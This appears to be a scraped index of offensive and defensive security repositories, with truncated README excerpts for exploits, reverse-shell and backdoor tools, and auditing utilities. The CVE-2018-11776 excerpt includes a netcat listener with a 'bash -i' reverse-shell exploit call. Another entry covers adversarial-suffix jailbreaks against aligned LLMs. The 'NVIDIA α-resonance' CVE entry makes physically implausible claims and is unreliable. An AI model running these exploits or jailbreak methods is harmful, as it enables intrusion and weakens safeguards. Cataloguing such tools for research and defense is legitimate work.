CVE-2021-40870

CVE-2021-40870 Unrestricted upload of file with dangerous type in Aviatrix allows an authenticated user to execute arbitrary code https://attackerkb.com/assessments/970a9fa9-223d-4d07-bafa-a338147934f3...

CVE-2023-49313

CVE-2023-49313 A dylib injection vulnerability in XMachOViewer 0.04 allows attackers to compromise integrity. By exploiting this, unauthorized code can be injected into the product's processes, potentially leading to remote control and unauthorized access to sensitive user data. Portable version...

CVE-2025-27840

This repository does not have a README...

pypacker

General information This is Pypacker: The fastest and simplest low-level packet manipulation library for Python. See below examples for what you can do with it. If you want to support this project you can via PayPal. What you can do with Pypacker Create custom Packets via keywords or from raw byt...

SteganographierGUI

SteganographierGUI Hide files into MP4/MKV files Please make sure you understand what "file extension " means before watching the following tutorial. If you don't understand, first search "how to change a file extension" If it still shows as MP4 after changing the extension, that means file...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 Identify all log4j components across all windows servers, entire domain, can be multi domain. CVE-2021-44228 Will scale to 1,000+ windows servers, 250+ servers at a time. 1k servers took about 1 1/2 hours. Apache log4j CVE-2021-44228 Single Server Version: Single Server...

wpx

root@kitploit: █ █░ ██▓███ ▒██ ██▒ ██▀███ ▄▄▄ ▓██ ██▓ ▓█░ █ ░█░▓██░ ██▒ ▒▒ █ █ ▒░▓██ ▒ ██▒▒████▄ ▒██ ██▒ ▒█░ █ ░█ ▓██░ ██▓▒ ░░ █ ░▓██ ░▄█ ▒▒██ ▀█▄ ▒██ ██░ ░█░ █ ░█ ▒██▄█▓▒ ▒ ░ █ █ ▒ ▒██▀▀█▄ ░██▄▄▄▄██ ░ ▐██▓░ ░░██▒██▓ ▒██▒ ░ ░ ▒██▒ ▒██▒░██▓ ▒██▒ ▓█ ▓██▒ ░ ██▒▓░ ░ ▓░▒ ▒ ▒▓▒░ ░ ░ ▒▒ ░ ░▓ ░░ ▒▓ ░▒▓░ ...

CVE

CVE's Table CVE Number| Type| Company/Product| Description| Article Link| Repository Link ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| Missing sanitizati...

ssrfuzz

SSRFUZZ SSRFuzz es una herramienta para encontrar vulnerabilidades de Server Side Request Forgery, con capacidades de encadenamiento CRLF ¿Por qué? Quería escribir una herramienta en Golang por concurrencia Quería fuzzear parámetros para vulnerabilidades SSRF, así como fuzzear tanto rutas como...

ssrfuzz

SSRFUZZ SSRFuzz is a tool to find Server Side Request Forgery vulnerabilities, with CRLF chaining capabilities Why? I wanted to write a tool in Golang for concurrency I wanted to fuzz parameters for SSRF vulnerablities, as well as fuzz both paths and parameters for CRLF injections I was inspired ...

RWCTF21-VirtualBox-61-escape

RWCTF21-VirtualBox-61-escape 0day VirtualBox 6.1 Escape for RealWorld CTF 2020/2021 Demo What? This is our solution for RealWorld CTF's "Box Escape" challenge from the 2020/2021 quals. Currently a 0day but we'll add the CVE number once there is one. CVE-2021-2119 How does it work? We wrote a...

keyFinder

KeyFinder Descubrimiento pasivo de claves API y secretos para Chrome y Firefox KeyFinder es una extensión de navegador para Chrome y Firefox que examina pasivamente cada página que visitas en busca de claves API, tokens, secretos y credenciales filtrados. Se ejecuta silenciosamente en segundo pla...

APTRS

APTRS APTRS Automated Penetration Testing Reporting System es una herramienta de generación automatizada de informes basada en Python y Django, diseñada para testers de penetración y organizaciones de seguridad. Esta herramienta agiliza el proceso de generación de informes, permitiendo a los...

CVE-2025-58780

CVE-2025-58780 Vulnerability Disclosure: SQL Injection in ScienceLogic Overview This document outlines a responsibly disclosed SQL injection vulnerability found in ScienceLogic's web platform. The vulnerability has been reported to the project maintainers in accordance with responsible disclosure...

CVE-2025-1562

CVE-2025-1562 root@kitploit: POST /index.php?restroute=%2Fautonami-app%2Fplugin%2Finstallandactivate&bwf-nonce=0f2449cddf9a7d692627071cfdef9ecf HTTP/2 Host: wp.192.168.31.110.nip.io User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/91.0.4472.124...

mitm-proxy

Go MITM Proxy A lightweight, developer-friendly Man‑in‑the‑Middle MITM HTTP/HTTPS proxy written in Go. It supports HTTP/1.1 and HTTP/2, CONNECT tunneling, WebSocket tunneling ws/wss, on‑disk response caching with flexible filters, and live config reloading. Badges Admin Dashboard Preview Overview...

audit_couchdb

Auditoría de CouchDB: La evaluación de seguridad simple y clara de CouchDB Audit CouchDB es una herramienta simple con un mensaje poderoso. Dada una URL de Apache CouchDB, te dirá todo lo que siempre quisiste saber sobre su seguridad. Objetivo Audit CouchDB realizará las siguientes acciones: 1...

audit_couchdb

Audit CouchDB: The simple, clear, CouchDB security assessment Audit CouchDB is a simple tool with a powerful message. Given an Apache CouchDB URL, it will tell you everything you ever wanted to know about its security. Objective Audit CouchDB will perform the following actions: 1. Learn every...

Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion

This repository contains a PoC exploit using an exploitation technique called Aligned Chunk Confusion. The details on the technique can be found in the paper. This exploit leverages a heap overflow in the Windows kernel heap to elevate its privileges from Low to SYSTEM. The research The goal of t...

zannotate

ZAnnotate ZAnnotate is a Go utility that facilitates annotating large IP datasets with network metadata. Right now this includes: CLI Flag| Description| Needs API Key| Needs Data Download ---|---|---|--- --censys| Censys internet intelligence live API| Yes| --cymru| Cymru IP Origin/Peer ASN and A...

AperiSolve

Aperi'Solve Try it now: https://www.aperisolve.com Support Aperi'Solve: Aperi'Solve is an open-source steganalysis web platform that performs automated analysis on...

Arjun

Arjun HTTP Parameter Discovery Suite What's Arjun? Arjun can find query parameters for URL endpoints. If you don't get what that means, it's okay, read along. Web applications use parameters or queries to accept user input, take the following example into consideration...

secretive

Secretive Secretive is an app for protecting and managing SSH keys with the Secure Enclave. Why? Safer Storage The most common setup for SSH keys is just keeping them on disk, guarded by proper permissions. This is fine in most cases, but it's not super hard for malicious users or malware to copy...

CVE-2024-45440

CVE-2024-45440 Drupal CVE-2024-45440 core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure even when error logging is None if the value of hashsalt is filegetcontents of a file that does not exist. Usage root@kitploit: python CVE-2024-45440.py Lab Deployment settings.php will replace...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

OpenShell

OpenShell OpenShell es un servidor ligero y de código abierto para la gestión de shells inversas escrito en Go. Permite a los usuarios establecer canales de shell inversa e interactuar con ellos a través de una interfaz gráfica de usuario GUI basada en web sencilla. Si encuentras errores o tienes...

probequest

========== ProbeQuest |PyPI Package| |PyPI Downloads| |PyPI Python Versions| |Build Status| |LGTM Grade| |LGTM Alerts| |Documentation Status| Toolkit allowing to sniff and display the Wi-Fi probe requests passing nearby your wireless interface. Probe requests are sent by a station to elicit...

poet

poet Una herramienta simple de post-explotación. Resumen El programa cliente se ejecuta en la máquina objetivo y está configurado con una dirección IP el servidor a la que conectarse y una frecuencia de conexión. Si el servidor no se está ejecutando cuando el cliente intenta conectarse, el client...

vet

Quick Start • Documentation • Community !NOTE vet supports special mode for Agent Skills. Run to scan an Agent Skill hosted in a GitHub repository...

EternalBlueC

EternalBlueC Suite EternalBlue rehecha en C/C++ que incluye: Exploit MS17-010 contiene DoublePulsar Detector de vulnerabilidad EternalBlue/MS17-010 Detector de DoublePulsar Carga de DLL con DoublePulsar Carga de shellcode con DoublePulsar Carga de DLL con DoublePulsar usando estructura SMB Carga ...

CVE-2024-0070-NVIDIA-GPU-Driver--Resonance-Vulnerability

CVE-2024-0070-NVIDIA-GPU-Driver--Resonance-Vulnerability NVIDIA's GPU drivers have a temporal coherence flaw in their memory management. At 587 kHz resonance, the driver's memory pages experience α-decay interference, allowing kernel memory access from user space. NVIDIA GPU α-Resonance Exploit...

CVE-2017-5638-Apache-Struts2

This repository does not have a README...

kyocera-cve-2022-1026_SOAP1.1

Kyocera cve-2022-1026 soap1.1 Authorized testing only. This project is provided for educational and defensive validation purposes in environments you own or have explicit permission to test. Do not use against systems you do not own or administer. A Kyocera printer exposure check and data-retriev...

Exponentiated-Gradient-Descent-LLM-Attack

Change Readme File. This is a Project that explores the Exponentiated Gradient Descent optimizaiton method to produce adversarial suffix to attack algined Large Language Models. The method is shown to be effective on Llama-2 chat model with 7 Billion parameters. To run pgd script on a number of...

Mortimer

Mortimer A collection of scripts for processing network forensics type data and intel, mainly into a postgres database. Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed for John Green, cirt at nccgroup dot com https://github.com/nccgroup/mortimer Released under AGPL s...

Zerodoor

ZeroDoor Un script escrito perezosamente para generar puertas traseras de shell inversa sobre la marcha cuando las necesites sin complicaciones para tus necesidades diarias de penetración. Estas puertas traseras no son cosas de alta tecnología de James Bond, sino simples para evitar la...

mssqlproxy

mssqlproxy mssqlproxy es un kit de herramientas diseñado para realizar movimiento lateral en entornos restringidos a través de un Microsoft SQL Server comprometido mediante reutilización de sockets. El cliente requiere impacket y privilegios sysadmin en el servidor SQL. Por favor, lea este artícu...

mssqlproxy

mssqlproxy mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server. Please read this article carefully before continuing. It consists of...

Grouper

Grouper NO USES MÁS GROUPER. ¡USA GROUPER2! https://github.com/l0ss/Grouper2 Un script de PowerShell para ayudar a encontrar configuraciones vulnerables en la Directiva de Grupo de Active Directory. Foto de Jon Hanson - https://www.flickr.com/people/61952179@N00?rb=1 -...

CVE-2026-5027

🔥 CVE-2026-5027 - Langflow Path Traversal Arbitrary File Write to RCE Unauthenticated Remote Code Execution via File Upload -orange?style=for-the-badge 📌 Overview Langflow suffers from a critical path traversal vulnerability in the file upload endpoint POST /api/v2/files. An attacker can send a...

Dop2Mop

Dop2Mop Un recolector OpenGraph de prueba de concepto para BloodHound que mapea rutas de ataque desde infraestructura DevOps hasta MLOps. Basado en Pipelines of Privilege: Attack Paths from DevOps to MLOps Infrastructure de Brett Hawkins @h4wkst3r. Tabla de Contenidos Agradecimientos Resumen...

bluewall

BLUEWALL Bluewall is a firewall framework designed for offensive and defensive cyber professionals. This framework allows Cybersecurity professionals to quickly setup their environment while staying within their scope. Credit Inspired by Andrew Benson's hostfw iptable generation script. Features...

LinuxCatScale

Script de Recopilación de IR Linux-CatScale Linux CatScale es un script de bash que utiliza herramientas del sistema para recopilar datos exhaustivos de hosts basados en Linux. Los datos tienen como objetivo ayudar a los profesionales de DFIR a triage y delimitar incidentes. También se configura...

urlcrazy

😜⌨ URLCrazy URLCrazy es una herramienta OSINT para generar y probar errores tipográficos o variaciones de dominio para detectar o realizar typo squatting, secuestro de URL, phishing y espionaje corporativo. Homepage: https://github.com/urbanadventurer/urlcrazy 🌟 Casos de Uso Detectar typo squatte...

DanderSpritz_lab

Laboratorio DanderSpritz Propósito El objetivo del laboratorio DanderSpritz es permitir a investigadores y defensores configurar rápidamente una versión completamente funcional de DanderSpritz - El conjunto de herramientas de post-explotación del Equation Group y un dominio Windows Server 2008 y ...

openwifipass

OpenWifiPass Una implementación de código abierto del rol de otorgante en el protocolo de Compartir Contraseña Wi-Fi de Apple. Descargo de responsabilidad OpenWifiPass es un software experimental y es el resultado de esfuerzos de ingeniería inversa por parte del proyecto Open Wireless Link. El...

CVE-2023-43343-Quick-CMS-Stored-XSS---Pages-Files

Quick CMS Stored XSS v6.7 Author: Sergio Description: Multiple Cross-Site Scripting XSS vulnerabilities in Quick CMS v6.7 allows a local attacker to execute arbitrary code via a crafted script to the to the Files - Description in the Pages Menu. Attack Vectors: Scripting A vulnerability in the...

CVE-2020-2969

CVE-2020-2969 The PoC for CVE-2020-2969 is documented here: https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...

efiguard-detected

efiguard-detect la forma más simple de comprobar si EfiGuard mató tu patchguard o no. cómo funciona efiguard deja un backdoor SetVariable en tiempo de ejecución - simplemente lo tocamos desde modo usuario pidiendo leer 2 bytes en la base de ntoskrnl. si obtenemos MZ - el backdoor está vivo,...

openclaw-security-monitor

OpenClaw Security Monitor Proactive security monitoring, threat scanning, and real-time visibility for OpenClaw deployments. Detects threats from the ClawHavoc campaign 824+ malicious skills, AMOS stealer , Vidar infostealer , GhostSocks proxy malware, ClawJacked WebSocket brute-force, workspace...